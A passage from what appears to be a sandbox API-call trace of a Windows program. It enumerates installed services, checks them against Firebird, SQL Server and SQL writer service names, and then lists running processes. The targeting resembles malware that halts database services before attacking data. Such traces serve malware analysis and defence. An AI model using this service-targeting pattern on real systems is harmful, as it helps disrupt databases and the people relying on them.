lpString2="CoreMessagingRegistrar") returned 1 [0189.272] lstrlenW (lpString="CryptSvc") returned 8 [0189.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0189.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0189.272] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0189.273] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0189.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0189.273] lstrlenW (lpString="DcomLaunch") returned 10 [0189.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.273] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0189.273] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0189.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0189.273] lstrlenW (lpString="DeviceAssociationService") returned 24 [0189.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0189.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0189.273] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0189.273] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0189.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0189.273] lstrlenW (lpString="Dhcp") returned 4 [0189.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0189.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0189.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0189.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0189.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0189.273] lstrlenW (lpString="Dnscache") returned 8 [0189.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0189.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0189.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0189.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0189.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0189.273] lstrlenW (lpString="DPS") returned 3 [0189.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0189.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0189.274] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0189.274] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0189.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0189.274] lstrlenW (lpString="DsmSvc") returned 6 [0189.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0189.274] lstrlenW (lpString="DusmSvc") returned 7 [0189.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0189.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0189.274] lstrlenW (lpString="EventLog") returned 8 [0189.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0189.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0189.274] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0189.274] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0189.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0189.274] lstrlenW (lpString="EventSystem") returned 11 [0189.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0189.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0189.275] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0189.275] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0189.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0189.275] lstrlenW (lpString="FontCache") returned 9 [0189.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0189.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0189.275] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0189.275] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0189.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0189.275] lstrlenW (lpString="gpsvc") returned 5 [0189.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0189.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0189.275] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0189.275] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0189.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0189.275] lstrlenW (lpString="iphlpsvc") returned 8 [0189.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.275] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0189.275] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0189.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0189.275] lstrlenW (lpString="KeyIso") returned 6 [0189.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0189.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0189.275] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0189.275] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0189.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0189.276] lstrlenW (lpString="LanmanServer") returned 12 [0189.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0189.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0189.276] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0189.276] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0189.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0189.276] lstrlenW (lpString="LanmanWorkstation") returned 17 [0189.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.276] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0189.276] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0189.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0189.276] lstrlenW (lpString="lfsvc") returned 5 [0189.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0189.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0189.276] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0189.276] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0189.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0189.295] lstrlenW (lpString="lmhosts") returned 7 [0189.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0189.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0189.295] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0189.295] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0189.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0189.295] lstrlenW (lpString="LSM") returned 3 [0189.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0189.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0189.295] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0189.295] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0189.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0189.295] lstrlenW (lpString="MpsSvc") returned 6 [0189.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0189.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0189.295] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0189.295] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0189.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0189.295] lstrlenW (lpString="NcbService") returned 10 [0189.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0189.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0189.296] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0189.296] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0189.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0189.296] lstrlenW (lpString="netprofm") returned 8 [0189.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0189.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0189.296] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0189.296] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0189.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0189.296] lstrlenW (lpString="NgcSvc") returned 6 [0189.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0189.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0189.296] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0189.296] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0189.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0189.296] lstrlenW (lpString="NlaSvc") returned 6 [0189.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0189.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0189.296] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0189.296] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0189.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0189.296] lstrlenW (lpString="nsi") returned 3 [0189.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0189.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0189.296] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0189.297] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0189.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0189.297] lstrlenW (lpString="PcaSvc") returned 6 [0189.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0189.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0189.297] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0189.297] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0189.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0189.297] lstrlenW (lpString="PlugPlay") returned 8 [0189.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0189.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0189.297] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0189.297] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0189.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0189.297] lstrlenW (lpString="Power") returned 5 [0189.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0189.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0189.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0189.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0189.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0189.297] lstrlenW (lpString="ProfSvc") returned 7 [0189.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0189.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0189.297] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0189.297] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0189.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0189.298] lstrlenW (lpString="RpcEptMapper") returned 12 [0189.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.298] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0189.298] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0189.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0189.298] lstrlenW (lpString="RpcSs") returned 5 [0189.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0189.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0189.298] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0189.298] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0189.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0189.298] lstrlenW (lpString="SamSs") returned 5 [0189.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0189.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0189.298] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0189.298] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0189.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0189.298] lstrlenW (lpString="Schedule") returned 8 [0189.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0189.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0189.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0189.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0189.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0189.298] lstrlenW (lpString="SecurityHealthService") returned 21 [0189.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0189.299] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0189.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0189.299] lstrlenW (lpString="SENS") returned 4 [0189.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0189.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0189.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0189.299] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0189.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0189.299] lstrlenW (lpString="ShellHWDetection") returned 16 [0189.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.299] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0189.299] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0189.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0189.299] lstrlenW (lpString="Spooler") returned 7 [0189.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0189.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0189.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0189.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0189.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0189.299] lstrlenW (lpString="StateRepository") returned 15 [0189.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0189.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0189.299] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0189.299] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0189.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0189.300] lstrlenW (lpString="SysMain") returned 7 [0189.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0189.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0189.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0189.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0189.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0189.300] lstrlenW (lpString="SystemEventsBroker") returned 18 [0189.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0189.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0189.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0189.300] lstrlenW (lpString="Themes") returned 6 [0189.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0189.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0189.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0189.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0189.300] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456b180 | out: hHeap=0x420000) returned 1 [0189.300] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4d8 [0189.308] Process32FirstW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.309] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0189.309] lstrlenW (lpString="System") returned 6 [0189.309] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0189.310] lstrlenW (lpString="smss.exe") returned 8 [0189.310] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.311] lstrlenW (lpString="csrss.exe") returned 9 [0189.311] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0189.311] lstrlenW (lpString="wininit.exe") returned 11 [0189.311] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.312] lstrlenW (lpString="csrss.exe") returned 9 [0189.312] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0189.312] lstrlenW (lpString="winlogon.exe") returned 12 [0189.312] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0189.313] lstrlenW (lpString="services.exe") returned 12 [0189.313] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0189.314] lstrlenW (lpString="lsass.exe") returned 9 [0189.314] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0189.314] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0189.314] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0189.315] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0189.315] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.315] lstrlenW (lpString="svchost.exe") returned 11 [0189.316] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.316] lstrlenW (lpString="svchost.exe") returned 11 [0189.316] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0189.317] lstrlenW (lpString="dwm.exe") returned 7 [0189.317] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.317] lstrlenW (lpString="svchost.exe") returned 11 [0189.317] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.318] lstrlenW (lpString="svchost.exe") returned 11 [0189.318] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.318] lstrlenW (lpString="svchost.exe") returned 11 [0189.318] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.319] lstrlenW (lpString="svchost.exe") returned 11 [0189.319] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.319] lstrlenW (lpString="svchost.exe") returned 11 [0189.320] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: 